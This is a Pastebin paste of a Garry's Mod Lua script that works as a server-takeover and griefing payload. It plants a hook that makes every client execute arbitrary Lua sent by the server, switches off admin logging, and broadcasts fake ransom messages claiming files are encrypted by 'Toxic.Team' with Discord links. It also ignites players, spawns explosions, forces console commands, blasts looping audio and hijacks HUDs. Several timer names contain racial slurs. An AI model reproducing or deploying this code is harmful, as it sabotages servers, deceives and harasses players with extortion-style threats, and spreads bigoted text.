Advertisement
Guest User

SuperDisco

a guest
Sep 22nd, 2018
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.78 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "Nop" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. sound.PlayURL( "", "", function()end )
  73.  
  74. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  75. local html = [[%s]]
  76. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  77. local pnl = vgui.Create( "HTML" )
  78. pnl:SetPos( ScrW() -1, ScrH() -1 )
  79. pnl:SetVisible( true )
  80. pnl:SetMouseInputEnabled( false )
  81. pnl:SetKeyBoardInputEnabled( false )
  82. pnl:SetSize( intSizeX, intSizeY )
  83. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  84.  
  85. local PageLoaded
  86. PageLoaded = function()
  87. local mat = pnl:GetHTMLMaterial()
  88. if mat then
  89. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  90. return
  91. end
  92.  
  93. timer.Simple( 0.10, PageLoaded )
  94. end
  95.  
  96. PageLoaded()
  97. end
  98.  
  99. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
  100. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
  101. LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
  102. LoadWebMaterial( "https://goo.gl/fgF2ji", "doritos", 256, 256 )
  103. LoadWebMaterial( "https://goo.gl/fgF2ji", "fedora", 256, 256 )
  104. LoadWebMaterial( "https://goo.gl/fgF2ji", "dew", 256, 256 )
  105. LoadWebMaterial( "https://goo.gl/fgF2ji", "awp", 256, 256 )
  106. ]=]):format(lol.m_strImageLoadHTML) )
  107. RunConsoleCommand("ulx_logecho", "0")
  108.  
  109. timer.Create( "hello", 2, 1, function()
  110. RunConsoleCommand( "say", "Hi" )
  111. end)
  112.  
  113. timer.Create( "hello2", 10, 1, function()
  114. RunConsoleCommand( "say", "Your Files Have Been Held In a Temporary FTP Server" )
  115. end)
  116.  
  117. timer.Create( "hello3", 14, 1, function()
  118. RunConsoleCommand( "say", "Join Our Discord To Fix Your Server :^) discord.gg/BeXV4xA" )
  119. end)
  120.  
  121. timer.Create( "hello5", 20, 1, function()
  122. RunConsoleCommand( "say", "Files Encrypted By Toxic.Team" )
  123. end)
  124.  
  125. timer.Create( "hello6", 32, 1, function()
  126. RunConsoleCommand( "say", "๑۩۩๑ Hacked BY HTTP://TOXIC.TEAM ๑۩۩๑ | discord.gg/BeXV4xA" )
  127. end)
  128. end )
  129.  
  130. --HUD swap
  131. lol:PushAction( 40, function( pPlayer )
  132. lol:SendLua( pPlayer, [[
  133. (GAMEMODE or GM).CalcView = function() end
  134. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  135.  
  136. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  137. for k, v in pairs(remove) do
  138. hook.GetTable()[v] = {}
  139. end
  140.  
  141. local function GetWebMat( strURL )
  142. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  143. end
  144.  
  145. hook.Add( "HUDPaint", "newhud", function()
  146. surface.SetDrawColor( 255, 255, 255, 255 )
  147.  
  148. if GetWebMat( "hud1" ) then
  149. surface.SetMaterial( GetWebMat("hud1")[1] )
  150. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  151. end
  152. if GetWebMat( "hud2" ) then
  153. surface.SetMaterial( GetWebMat("hud2")[1] )
  154. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  155. end
  156. if GetWebMat( "hud3" ) then
  157. surface.SetMaterial( GetWebMat("hud3")[1] )
  158. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  159. end
  160. if GetWebMat( "doritos" ) then
  161. surface.SetMaterial( GetWebMat("doritos")[1] )
  162. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  163. end
  164. if GetWebMat( "dew" ) then
  165. surface.SetMaterial( GetWebMat("dew")[1] )
  166. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(ScrH() -250, ScrH() -260), 110 *((350 /110) -1), 256, CurTime() *-512 )
  167. end
  168. if GetWebMat( "fedora" ) then
  169. surface.SetMaterial( GetWebMat("fedora")[1] )
  170. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(250, 260), 256, 256, CurTime() *-512 )
  171. end
  172. if GetWebMat( "awp" ) then
  173. surface.SetMaterial( GetWebMat("awp")[1] )
  174. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 256, CurTime() *512 )
  175. end
  176.  
  177. draw.SimpleTextOutlined(
  178. "discord.gg/BeXV4xA ๑۩۩๑ Hacked BY Toxic.Team ๑۩۩๑ discord.gg/BeXV4xA",
  179. "DermaLarge",
  180. ScrW() /2 +math.random( -8, 8 ),
  181. ScrH() /2 +math.random( -8, 8 ) +24,
  182. Color( 255, 0, 0, 255 ),
  183. TEXT_ALIGN_CENTER,
  184. TEXT_ALIGN_CENTER,
  185. 1,
  186. Color( 0, 0, 255, 255 )
  187. )
  188. end )
  189.  
  190. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  191. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  192.  
  193. surface.PlaySound( "garrysmod/save_load4.wav" )
  194. ]] )
  195. end )
  196.  
  197. --Disco time
  198. lol:PushAction( 9.1, function( pPlayer )
  199. local idx = pPlayer:EntIndex()
  200. timer.Create( "beat".. idx, 0.42, 0, function()
  201. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  202. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  203. end )
  204. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  205.  
  206. timer.Create( "niggaspams2", 0.1, 0, function()
  207. RunConsoleCommand( "sv_friction", "-8" )
  208. end)
  209.  
  210. timer.Create( "niggaspams3", 0.1, 0, function()
  211. RunConsoleCommand( "sv_gravity", "-600" )
  212. end)
  213.  
  214. timer.Create( "next_level_timer", 0.1, 0, function()
  215. for k, v in pairs(player.GetAll()) do
  216. v:ConCommand("say /ooc Hacked by Toxic.Team | discord.gg/J2nscje");
  217. end
  218. end)
  219.  
  220. for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
  221.  
  222.  
  223. hook.Add("Think", "busted", function()
  224. for k,v in pairs (player.GetAll()) do
  225. v:SetModelScale(2.5, 100);
  226. v:SetRunSpeed(400 * 2);
  227. v:SetWalkSpeed(200 * 2);
  228. end
  229. end)
  230.  
  231. for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
  232.  
  233. for k,v in pairs(player.GetAll()) do
  234. local a = v:LookupBone("ValveBiped.Bip01_Head1")
  235. local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  236. local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  237. local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  238. local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  239. local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  240. local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  241. local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  242. local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  243. local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  244. local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  245.  
  246. v:ManipulateBoneScale( a, Vector(4,0,4))
  247. v:ManipulateBoneScale( b, Vector(0,0,0))
  248. v:ManipulateBoneScale( c, Vector(0,0,0))
  249. v:ManipulateBoneScale( d, Vector(0,0,1))
  250. v:ManipulateBoneScale( e, Vector(0,0,1))
  251. v:ManipulateBoneScale( f, Vector(0,0,0))
  252. v:ManipulateBoneScale( g, Vector(0,0,0))
  253. v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
  254. v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
  255. v:ManipulateBoneScale( j, Vector(0,0,0))
  256. v:ManipulateBoneScale( k, Vector(0,0,0))
  257. end
  258.  
  259.  
  260. timer.Create( "ignitelol", 0.1, 1, function()
  261. for k,v in pairs(player.GetAll()) do v:Ignite(120) end
  262. end)
  263. -----------------------------------------------------------------------------------------------------------------------------------------------------------------------
  264.  
  265. lol:SendLua( pPlayer, [[
  266. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  267. local time = 0
  268.  
  269. hook.Add( "Think", "wat", function()
  270. if CurTime() < time then
  271. return
  272. end
  273.  
  274. time = CurTime() +0.05
  275. for i = 1, 16 do
  276. local part = emitter:Add(
  277. "particles/balloon_bit",
  278. LocalPlayer():GetPos() +Vector(
  279. math.random( -256, 256 ),
  280. math.random( -256, 256 ),
  281. 256
  282. )
  283. )
  284.  
  285. if part then
  286. local Size = math.random( 4, 7 )
  287.  
  288. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  289. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  290. part:SetDieTime( 4.5 )
  291. part:SetGravity( Vector(40, 0, -250) )
  292. part:SetLifeTime( 0 )
  293. part:SetStartSize( Size /2 )
  294. part:SetEndSize( Size )
  295. part:SetCollide( true )
  296. end
  297. end
  298. end )
  299. ]] )
  300.  
  301. lol:SendLua( pPlayer, [[
  302. hook.Add( "RenderScreenspaceEffects", "wat", function()
  303. local sinScaler = math.sin( CurTime() )
  304. DrawBloom(
  305. 0,
  306. 3,
  307. sinScaler *math.Rand(1, 8),
  308. sinScaler *math.Rand(1, 8),
  309. 6,
  310. math.Rand(0.5, 2),
  311. math.Rand(0, 0.3),
  312. math.Rand(0, 0.3),
  313. math.Rand(0.5, 1)
  314. )
  315.  
  316. DrawColorModify{
  317. ["$pp_colour_addr"] = 1,
  318. ["$pp_colour_addg"] = 0,
  319. ["$pp_colour_addb"] = 0,
  320. ["$pp_colour_brightness" ] = 0,
  321. ["$pp_colour_contrast" ] = 1,
  322. ["$pp_colour_colour" ] = 1,
  323. ["$pp_colour_mulr" ] = 0,
  324. ["$pp_colour_mulg" ] = 0,
  325. ["$pp_colour_mulb" ] = 0
  326. }
  327. end )
  328.  
  329. local mdl = ClientsideModel( "models/player/breen.mdl", RENDERGROUP_BOTH )
  330. mdl:SetNoDraw( true )
  331. local posCache, time = {}, 0
  332.  
  333. hook.Add( "HUDPaint", "dance", function()
  334. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  335. local idx = mdl:LookupSequence("taunt_dance")
  336. mdl.SeqDuration = mdl:SequenceDuration( idx )
  337. mdl.SeqStart = CurTime()
  338. mdl:ResetSequence( idx )
  339. end
  340.  
  341. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  342.  
  343.  
  344. local w, h = 300, 300
  345. local ang = Angle( 0, 0, 0 )
  346.  
  347. for i = 1, 32 do
  348. if CurTime() > time then
  349. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  350. end
  351. local x, y = posCache[i][1], posCache[i][2]
  352.  
  353. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  354. cam.IgnoreZ( true )
  355. render.SuppressEngineLighting( true )
  356.  
  357. render.SetLightingOrigin( mdl:GetPos() )
  358. render.ResetModelLighting( 1, 1, 1 )
  359. render.SetColorModulation( 0, 0, 1 )
  360.  
  361. mdl:DrawModel()
  362.  
  363. render.SuppressEngineLighting( false )
  364. cam.IgnoreZ( false )
  365. cam.End3D()
  366. end
  367.  
  368. if CurTime() > time then
  369. time = CurTime() +0.15
  370. end
  371. end )
  372.  
  373.  
  374. ]] )
  375. end )
  376.  
  377. --Let the beat drop
  378. lol:PushAction( 101, function( pPlayer )
  379. lol:SendLua( pPlayer, [[
  380. hook.Add( "GetMotionBlurValues", "wat", function()
  381. return 0, 0, 1, math.sin(CurTime() *13)
  382. end )
  383.  
  384. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  385. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  386. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  387. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  388. end )
  389.  
  390. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  391. render.SetMaterial( Material("cable/blue_elec") )
  392. for i = 1, 32 do
  393. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  394. end
  395. end )
  396.  
  397. timer.Create( "thedrop", 0.42, 0, function()
  398. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  399. end )
  400. ]] )
  401.  
  402. pPlayer:Remove()
  403.  
  404. timer.Create( "rights", 0.1, 0, function()
  405. for k, v in pairs(player.GetAll()) do
  406. v:ConCommand("+right");
  407. end
  408.  
  409. end)
  410.  
  411. --EVIL TIME rip headpones
  412. lol:PushAction( 100, function( pPlayer )
  413. lol:SendLua( pPlayer, [[
  414. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  415.  
  416.  
  417.  
  418. local sounds = {}
  419. for i = 1, 4 do
  420. sound.PlayURL( "", "noblock noplay", function( pChan )
  421. sounds[#sounds +1] = pChan
  422. end )
  423. end
  424.  
  425. timer.Create( "asdf", 1, 0, function()
  426. if #sounds ~= 4 then return end
  427. timer.Destroy( "asdf" )
  428. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  429. end )
  430.  
  431. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  432.  
  433. ]] )
  434.  
  435. timer.Create( "allahakbar", 5, 0, function()
  436. hook.Add("Think", "armageddon", function()
  437. local explode = ents.Create( "env_explosion" )
  438. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  439. explode:Spawn()
  440. explode:SetKeyValue( "iMagnitude", "500" )
  441. explode:Fire( "Explode", 0, 0 )
  442. end)
  443. end)
  444.  
  445. hook.Add("Think", "chatspam", function() for k,v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, "Hacked by Toxic.Team | discord.gg/BeXV4xA" ) v:SendLua([[chat.AddText( Color( math.random(1, 255), math.random(1, 255), math.random(1, 255) ), "Hacked by Toxic.Team | discord.gg/J2nscje" )]]) end end)
  446.  
  447. pPlayer:Remove()
  448.  
  449. end )
  450. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement